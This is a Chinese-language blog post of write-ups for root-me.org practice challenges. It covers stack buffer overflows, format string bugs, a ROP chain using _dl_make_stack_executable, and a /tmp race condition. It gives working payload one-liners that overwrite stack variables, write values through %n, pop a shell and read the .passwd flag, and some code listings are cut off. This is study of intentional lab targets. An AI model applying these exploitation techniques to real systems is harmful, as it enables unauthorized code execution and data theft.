新找到的刷题网站https://www.root-me.org,加上是Asuri战队的训练网站,决定先来试试水先~
Stack buffer overflow basic 1
1 |
|
这个的话呢,讲道理还是蛮简单的。但是问题的关键在于,我们怎么构造这个0xdeadbeef字符串,毕竟是不可见字符。这有两种思路
- 使用pwntools的ssh连接上去,如果这样做的话,我们就能够很容易的构造0xdeadbeef的效果。
- 在本地使用python或者bash脚本,然后构造输入字符串。
如果使用第二种方法的话,首先想到的话是使用python构造如下字符串:
1 | "a"*40+"\xef\xbe\xad\xde" |
但是会得到如下的结果:
1 | app-systeme-ch13@challenge02:~$ python -c 'print "a"*40+"\xef\xbe\xad\xde" + "\n" +"ls"' | ./ch13 |
为什么我们输入的ls
没有执行?这里我们可以参考下面给出来的,关于stdio buffer的文章
根据文章提炼出来的最关键的一点就是: *nix操作系统的stdin是带有缓冲的,因此,我们输入的ls也被读入了stdin中,然后在调用system之后,由于此时我们所有的数据都被放到了缓冲中,此后stdin为空,所以system("/bin/dash")
读取到了EOF,结束了当前的进程。
然后我们此时希望的结果是让我们的输入数据不要立刻落入stdin的缓冲中,又或者说,此时不让输入流中断。那么针对以上的两种需求,我们有两种思路。
- 输入让stdin缓冲区满掉的数据,从而不让数据落入缓冲,继续留在stdin中。一般的操作系统中,在非terminal中,stdin的缓冲大小都是4096,那么我们只要把缓冲区写满。
1 | python -c 'print "a"*40+"\xef\xbe\xad\xde" + "\x00"*4052 + "cat .passwd"' | ./ch13 |
- 不让当前的数据流中断。这种操作的话我们可以执行那种不会让输入流关闭的指令,比如说
cat
指令。直接使用cat
的功能为将输入流复制到输出流中。如果我们将python的输出和cat放在一个命令组中,那么此时我们的输入流会被cat占用,并且此时输出流的数据会写向./ch13中。
1 | (python -c 'print "a"*40+"\xef\xbe\xad\xde" '; cat ) | ./ch13 |
总结
看起来很简单的一题,但是其实考验了对Unix基本输入输出流与缓冲的考察,还是很有意义的。
Stack buffer overflow basic 2
1 | /* |
这个题目比较像是传统的pwn了,通过修改栈中变量,从而劫持程序流什么的。这里唯一需要注意的是小端,也就是小的数字先被输入到了栈中
1 | (python -c 'print "a"*128+"\x64\x84\x04\x08" '; cat ) | ./ch15 |
ELF x86 - Format string bug basic 1
1 |
|
这个题目涉及到了一点格式化字符串的漏洞。倒是可以直接参考我之前对格式化字符串漏洞写的博客http://showlinkroom.me/2017/01/28/pwn-learn-printf/
这里需要思考的是,此时的栈空间大致是什么样子的。我们知道,关键是printf的参数之后的第几个地址开始是我们的输入字符串的地址。这里可以大致猜测一下,应该在不远处,所以我们直接构造攻击字符串如下:
1 | ./ch5 %x,%x,%x,%x,%x,%x,%x.%x,%x,%x,%x,%x,%x,%x,%x |
这里其实没有开ASLR,而且本地其实有gdb,所以可以直接调试得知当前栈地址,然后构造栈地址,直接输入字符串。但是我有点懒了,就直接用%x
直接泄露栈中地址,得到如下:
1 | 20,804b008,b7e552f3,0,8049ff4,2,bffffc44.bffffd6c,2f,804b008,39617044,28293664,6d617045,a64,b7e554ad |
从第11个字符开始,就是我们输入的字符串。但是同样注意,我们输出来的数字是小端的,但是我们字符串是从低地址开始写的,所以这里需要将这些数字重新转换大小端。
ELF x86 - Stack buffer overflow basic 3
这个题有队友主动提出,所以这里进行讲解:
1 | /* |
从源代码上来看,最关键的逻辑就在如何修改check。我们注意到,这个check的参数是在buffer之后申请的。并且在逻辑上最关键的地方就是:
1 | case 0x08: |
所以这里可以通过输入’\x08’来让下标往回指。这样的话,如果我们能够让下标指向check的位置,那么我们就能够定向修改指定位置的变量。
我们确认一下相对偏移如下:
1 | 0x80485a6 <main+82>: cmp DWORD PTR [esp+0x18],0xbffffabc |
可以看到,check的变量位置在buffer的-4的位置。所以这里我们只需要输入四个’\x08’加上0xbffffabc就能够完成攻击。
1 | (python -c "print '\x08'*4+'\xbc\xfa\xff\xbf'+'a'*4088 "; cat ) | ./ch16 |
ELF x64 - Stack buffer overflow - advanced
这也是队友提出来的一个题目,这里进行分析:
1 |
|
这个题目就是一个传统的pwn了。静态编译的程序给人的暗示就是能够利用ROP,毕竟内部程序一般都会比较大(顺便,这个里面也有mmap,应该也是一种利用思路)。这里先尝试使用ROP。
对于64bit的程序,我们首先要知道其和32bit调用有一些不同。比如传参的顺序,或者系统中断调用等。
1 | +-----+-----------------+-------------------------+--------------------------+--------------------------+ |
这个是找到的一种有效的系统调用的方式。通过调用execve来实现起shell。那么为了模拟调用execve,我们需要以下gadget
- 一个系统调用的地址(syscall/int 80h)
- 让 %rax 能够 = 59
- 对 %rid 能够指向包含/bin/dash地址的字符串
- 让 %rsi 和 %rdx 置为0
syscall和int 80h的地址很容能够找到,rax的值可以通过mov和add来凑出来,最关键的是%rdi的值如何实现。在搜索了各种方法之后,发现为了填充 filename 的话可能需要至少一个read函数。于是我们还需要调用read函数。
这里有一个坑点,系统调用的时候,字符串的结尾必须是\0结尾,不然的话会去寻找一个名字带有\n的文件。。。这显然是不对的。
发现远程的\bin\sh的权限不对,于是改成直接用
1 | open --> read --> write |
的思路打开文件,读取并且写入buff中。最后成功。
新姿势 – _dl_make_stack_executable
在两位大佬的提醒下,发现答案里面有一个比较神奇的思路,是利用了**_dl_make_stack_executable**函数。这个函数我之前完全没见过,这里学习一下:
1 | .text:0000000000468420 mov rsi, cs:_dl_pagesize |
看了一下这个函数的代码,发现不得了啊,这个函数的功能居然是调用mprotect!函数原型为:
1 | _dl_make_stack_executable(void* address) |
这个函数接收一个地址,并且检查我们传入的地址是否为__libc_stack_end。如果为__libc_stack_end
的话,那么就会调用mprotect
,并且此时调用的形式为:
1 | mprotect(__libc_stack_end, _dl_pagesize, __stack_prot) |
这里一口气用了三个全局变量?我们分别检查其含义:
1 | __libc_stack_end |
这个变量存放的是,当前elf在载入之后,栈地址的底部。我们直到,在一个ELF文件载入的时候,在start会有一个将环境变量和传入参数压栈的操作。这个操作会将我们当前的环境变量和参数的向量传入函数。比如如下的形式:
字符串被直接压入到栈中,并且字符串地址存在了栈中,顺序大致如下:
1 | env n <-- __libc_stack_end |
其中我们可以看到,这个__libc_stack_end
的内容就是这个栈的开头。
然后看到第二个变量
1 | _dl_pagesize |
这个值存放的就是当前系统中的一页的大小。就我们目前的系统来说,都是4096
最后一个变量比较关键:
1 | __stack_prot |
这个值表示的是当前要赋予栈的权限(从名字也能猜到啦)。这个值的话一般情况下为1000000h
,然而我们为了让栈变成可读可写可执行的状态,要将其的值改成7。
于是另一个ROP的思路就出现了:
1 | 修改__stack_prot的值 --> 将__libc_stack_end的值存入rdi --> 调用_dl_make_stack_executable |
ELF x86 - Format string bug basic 2
1 |
|
这个地方是是一个很明显的个格式化字符串漏洞,我们观察栈:
1 | --------------------------------------[code]------------------------------------ |
其中0xbffffd5a
就是我们输入的参数。也即是说,输入的内容为
1 | %x |
输出的内容内容是0xb7fdcb48
。则我们通过计算偏移,可以知道我们要修改的值在第8个位置上。然而这个%n是需要指定地址的,所以我们这里需要指定要写入的位置。幸好,这个题目没有开ASLR,我们此时可以计算出要写入的地址为:
首先可以知道argv[1]的结束地址为:
1 | 0xbffffda2 |
这个和之前的有点不太一样,argv[1]似乎是通过压栈的方式将整体栈数据下压,然后空出位置放入argv。所以这里我们最好是吧地址写在末尾处,方便调试。
暴力测试后发现,字符串结尾的位置在155,则我们需要写入的地址就是154和153
1 | 0xbffffae8 |
我们要写入的值为0xdeadbeef,这个值显然有点太大了,所以我们需要拆成几部分执行。
1 | +---------|--------+ |
拆成两个short类型的整数,则此时我们只需要写入0xbeef
长的字符串,然后利用%n
将其长度作为低字节写入地址, 0xdead - 0xbeef
长度的字符串作为高字节,就能一次性写入:
1 | "%48879hx%n%8126hx%n" |
开始的时候,我试用了argv[1]作为输入地址,但是计算了很久也不对。。最后使用爆破的方法找到了161个位置是我们传入参数的末尾,然后修改了exp做出来的。。。:
1 | '\xff\xbf%48877x%162$hn%8126x%161$hn\xda\xfb\xff\xbf\xd8\xfb\xff\xbf\xff' |
这个做法非常的糟糕。。。于是复习了一下snprintf
函数,了解到其运行中是立刻生效,也就是说如果我们的exp中的内容为:
1 | \xda\xfb\xff\xbf%9$n |
那么在遇到%9$n
的时候,栈中的情况已经变成
1 | 0xbffffac0: 0xbffffaec 0x00000080 0xbffffd5a 0xb7fdcb48 |
此时就能够直接往这个位置写入数据。。。。
找到的大佬的答案:
1 | echo "cat .passwd" | ./ch14 "`printf '\x38\xfb\xff\xbf\x3a\xfb\xff\xbf%s%s' '%48871x%9$hn' '%8126x%10$hn'`" |
ELF x86 - Race condition
1 |
|
这个题目首先要扯到一个函数的作用:
1 | unlink |
这个函数的作用相当于将当前文件的符号去除。一个UNIX文件被去除了符号之后,unlink函数会允许这段文件所占用的空间被覆盖,就相当于是将此文件删除。然而,由于这里调用了usleep,所以我们可以在这个程序在删除这个/tmp/tmp_file.txt
之前,抢先把文件中的数据读出来。
于是我们考虑到,我们可以尝试在运行这个程序的同时尝试读取这个/tmp/tmp_file.txt
,完成攻击。
比如说:
1 | ./ch12&cat /tmp/tmp_file.txt |
这个&
的作用是,让./ch12
能够在后台运行,这样的话就能够同时进行前面的语句和后面的语句
反复执行上述语句的话,我们可能能在文件被删除之前将文件中的内容读取出来。多次尝试之后即可得到flag。